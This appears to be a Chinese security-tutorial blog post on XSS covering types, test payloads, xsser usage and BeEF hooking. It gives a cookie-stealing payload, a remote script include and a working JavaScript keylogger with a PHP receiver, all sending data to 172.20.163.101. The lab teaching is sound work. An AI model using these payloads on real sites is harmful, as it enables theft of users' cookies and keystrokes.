XSS(厉害程度:只要js能实现什么功能,xss就能对client造成什么伤害):

 

原理:通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的

主要攻击目的(网页挂马:通过XSS向前端页面插入一个包含恶意js的链接,client访问这个页面时就同时请求执行了该恶意js,这个恶意js就是网页木马):

1、盗取cookie(收集存在XSS漏洞网站用户的cookie)

2、重定向(访问真实页面时直接跳转到博彩页面或者钓鱼网站)

3、DDOS第三方(把需要大量算力的URL贴在存在XSS漏洞的网站上,这样访问该网站的用户就都会去请求那个需要大量算力的URL,进而对该URL服务器进行CC攻击)

分类:

1、存储型(持久型)  ===> 将js脚本上传至server,其他用户访问server时都会加载这个js,e.g: 论坛发帖,server没有对帖子内容进行过滤,导致上传了一段js脚本

2、反射型(非持久)(发给目标什么东西就必须返回什么东西,不能有变化)  ===> client将恶意js发给server(client可将js包含在get请求头中),server再将这个js返回给client,client就能在浏览器里运行这个js了  ===> 通过社工方式将带有js脚本的链接发送给受害者,e.g: http://1.1.1.1/id=js脚本

3、DOM型(本质上也是一种反射型)   ===> 不必将js上传至server就能在client执行

POC验证原理:

向所有变量注入js代码进行测试

测试语句(Poc):

<script>alert('xss')</script>   ===> js弹窗

<a href=http://192.168.1.1>click</a>   ===> html超链接

<script>window.location='http://www.baidu.com'</script>   ===> 重定向至百度

<script>new Image().src="http://172.20.163.101/admin.php?output="+document.cookie;</script>   ===> 将cookie发送至172.20.163.101

<script src=http://172.20.163.101/a.js></script>  ===> 自动请求http://172.20.163.101/a.js,可以在http://172.20.163.101/a.js存放真正的恶意js脚本

网页挂马实现举例(键盘记录功能):

原理:

1、通过xss将网页木马文件链接上传至漏洞服务器  <script src=http://172.20.163.101/a.js></script>

2、client访问该服务器时将请求并执行http://172.20.163.101/a.js

3、a.js将client的键盘记录发送至指定服务器   ("POST","http://172.20.163.101/keylogger.php",true)

键盘记录器(js代码):

document.onkeypress = function(evt) {

evt = evt || window.event

key = String.fromCharCode(evt.charCode)

if (key) {

var http = new XMLHttpRequest();

var param = encodeURI(key)

http.open("POST","http://172.20.163.101/keylogger.php",true);   =====> 将记录到的结果发送到http://172.20.163.101/keylogger.php

http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

http.send("key="+param);

}

}

密码接收器(php代码,注意:此代码只能记录当前页面的键盘记录,不能记录其他网站页面的键盘记录):

<?php

$key=$_POST['key'];

$logfile="keylog.txt";      ======> 将接收到的结果存在keylog.txt文件内

$fp = fopen($logfile, "a");

fwrite($fp, $key);

fclose($fp);

?>

Xsser(XSS漏洞检测工具):

xsser --gtk   ===> 图形化界面打开方式

xsser使用举例: xsser -u "http://172.20.163.115/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=34554fae634cb96063453427536bda0b" -s -v --reverse-check

-u 待检测url(注意:只写到倒数第二级目录)

-g 使用GET方法,使用POST方法时可换用'-p'参数。后跟要检测的变量名称(注意要带上变量上一级目录)

--cookie cookie信息

-s 显示总共发送了多少次探测payload

-v 显示详细信息

--reverse-check:如果不加这个参数xsser会只发送一个hash值给服务器,看是否能将该hash原封不动的返回回来。但是这样可能会有一个问题:服务器没有过滤hash值,但过滤了html(js)代码,造成了xsser显示有xss漏洞,但是不能真正利用。加这个参数后xsser会再发送一个真正的js脚本来检测(发送的js脚本功能为主动连接自己某个端口,如果xsser发现将js发送过去后它又来连接自己制定端口了就说明对方存在xss漏洞)。

--heuristic 检查被过滤的字符(有些安全设备可能会过滤掉一些特定字符,利用此参数可以查看安全设备过滤掉了哪些字符)(原理:按个儿发送单个可能被过滤的字符,看是否有返回这个字符)

以下参数为对提交的数据进行编码

--Str               Use method String.FromCharCode()

--Une               Use Unescape() function

--Mix               Mix String.FromCharCode() and Unescape()

--Dec               Use Decimal encoding

--Hex               Use Hexadecimal encoding

--Hes               Use Hexadecimal encoding with semicolons

--Dwo               Encode IP addresses with DWORD

--Doo               Encode IP addresses with Octal

--Cem=CEM           Set different 'Character Encoding Mutations'

(reversing obfuscators) (ex: 'Mix,Une,Str,Hex')

除指定变量外再对一些特殊的地方注入:

--Coo               对COOKIE进行xss注入检测

--Xsa               对user-agent进行xss注入检测

--Xsr               对Referer进行xss注入检测

--Dcp               对数据控制协议进行xss注入检测

--Dom               对DOM型进行xss注入检测

--Ind               IND - HTTP Response Splitting Induced code

--Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)

 

beef(可以操纵用户的浏览器):

利用XSS漏洞或者中间人劫持将特定js(<script src="http://<beef服务器的IP>:3000/hook.js"></script>)插入网页,这个js将控制客户端浏览器并返连至beef服务器。

换句话说:<script src="http://<beef服务器的IP>:3000/hook.js"></script> 就是一个js木马,beef服务器就是木马的server端。

菜单详解:

Details: 浏览器、插件版本信息;操作系统信息

Logs:记录浏览器的动作,比如焦点变化、鼠标点击、信息输入等

Commands:命令模块

绿色模块:表示模块适合目标浏览器,并且执行结果对客户端不可见

红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行

橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)

灰色模块:模块未在目标浏览器上测试过

XSS原理及其相应工具使用的更多相关文章

  1. 1. xss原理分析与剖析(1)

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  2. 《前端之路》 之 前端 安全 XSS 原理以及防御手段

    什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...

  3. XSS漏洞自动化攻击工具XSSer

    XSS漏洞自动化攻击工具XSSer   XSS是Web应用常见的漏洞.利用该漏洞,安全人员在网站注入恶意脚本,控制用户浏览器,并发起其他渗透操作.XSSer是Kali Linux提供的一款自动化XSS ...

  4. 浅谈xss原理

    近日,论坛上面XSS满天飞,各处都能够见到XSS的痕迹,前段时间论坛上面也出现了XSS的迹象.然后我等小菜不是太懂啊,怎么办?没办法仅仅有求助度娘跟谷歌这对情侣了. 能够说小菜也算懂了一些.不敢藏私, ...

  5. xss原理绕过防御个人总结

    xss原理 xss产生的原因是将恶意的html脚本代码插入web页面,底层原理和sql注入一样,都是因为js和php等都是解释性语言,会将输入的当做命令执行,所以可以注入恶意代码执行我们想要的内容 x ...

  6. XSS原理

    跨站脚本攻击(Cross-Site Scripting),是一种网站应用程序的安全漏洞,是代码注入攻击的一种.   XSS的种类:   反射型XSS: 非持久型XSS(需要自行触发,输入-输出).  ...

  7. 1.1 xss原理分析与剖析(2)

    0×01 反射型XSS: 反射XSS是XSS分类中最多的,他们原理是下面这样: Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS代码——进行编码.缩短(可有可无,是为了增加迷惑 ...

  8. 1.2 xss原理分析与剖析(3)

    0×01 第三方劫持 (外调J/C): 本方法是我看长短短贴代码时知晓的,这篇文章我只是把这个攻击手法整理了出来,来说明这个漏洞,这个攻击手法并不是我发现的,我也不是太清楚是谁.“第三方劫持”就是把资 ...

  9. XSS原理及代码分析

    前言 XSS又叫跨站脚本攻击,是一种对网站应用程序的安全漏洞攻击技术.它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响.XSS分为三种:反射型,存储型,和DOM型.下面我会构造有缺陷的代 ...

随机推荐

  1. Cookie与Session会话技术

    Cookie与Session会话技术 一.什么是会话 会话:当用户打开浏览器,访问多个WEB资源,然后关闭浏览器的过程,称之为一个会话,选项卡,弹出页面都属于这个会话,且共享同一个session. 二 ...

  2. RabbitMQ 离线安装(带视频)

    疯狂创客圈 Java 高并发[ 亿级流量聊天室实战]实战系列 [博客园总入口 ] 架构师成长+面试必备之 高并发基础书籍 [Netty Zookeeper Redis 高并发实战 ] 疯狂创客圈 高并 ...

  3. swoole加密可破解吗

    程序的执行和加解密过程合二唯一,无论是内部开发人员和外部黑客攻击,即使拿到了数据和私钥和服务器的root权限,也无法解密还原数据. Swoole将加解密分成了3部分(程序+算法+私钥),缺一不可解密. ...

  4. .NET Core 3.0 Preview 6中对ASP.NET Core和Blazor的更新

    我们都知道在6月12日的时候微软发布了.NET Core 3.0的第6个预览版.针对.NET Core 3.0的发布我们国内的微软MVP-汪宇杰还发布的官翻版的博文进行了详细的介绍.具体的可以关注&q ...

  5. Spring Cloud @RefreshScope刷新问题

    问题 使用@RefreshScope会刷新在sprign ioc中所有bean中使用@Value的值,但是在配置类中使用方法去配置的其他类参数并不会改变例如 解决方案 //使用此方法监听事件 @Eve ...

  6. ASP.NET Core gRPC 健康检查的实现方式

    一. 前言 gRPC 服务实现健康检查有两种方式,前面在此文 ASP.NET Core gRPC 使用 Consul 服务注册发现 中有提到过,这里归纳整理一下.gRPC 的健康检查,官方是定义了标准 ...

  7. Jupiter 页面环境下使用pip无法安装(AttributeError: module 'pip' has no attribute 'main')

    异常: AttributeError Traceback (most recent call last) <ipython-input-5-880e5dfa627c> in <mod ...

  8. How to: Implement a Custom Base Persistent Class 如何:实现自定义持久化基类

    XAF ships with the Business Class Library that contains a number of persistent classes ready for use ...

  9. js 回调地狱的另类解决方案尝试

    例如 通过学生获取学生所在学校信息,需要先查询学生所在班级,再通过班级查询所在学校信息.js代码类似写法如下: function getStudentSchool(id) { ajax.get(&qu ...

  10. GBT32960-2016电动汽车远程服务与管理系统技术规范 第3部分:通信协议及数据格式

    电动汽车远程服务与管理系统技术规范 PDF下载地址:https://files.cnblogs.com/files/88223100/GTB32960.zip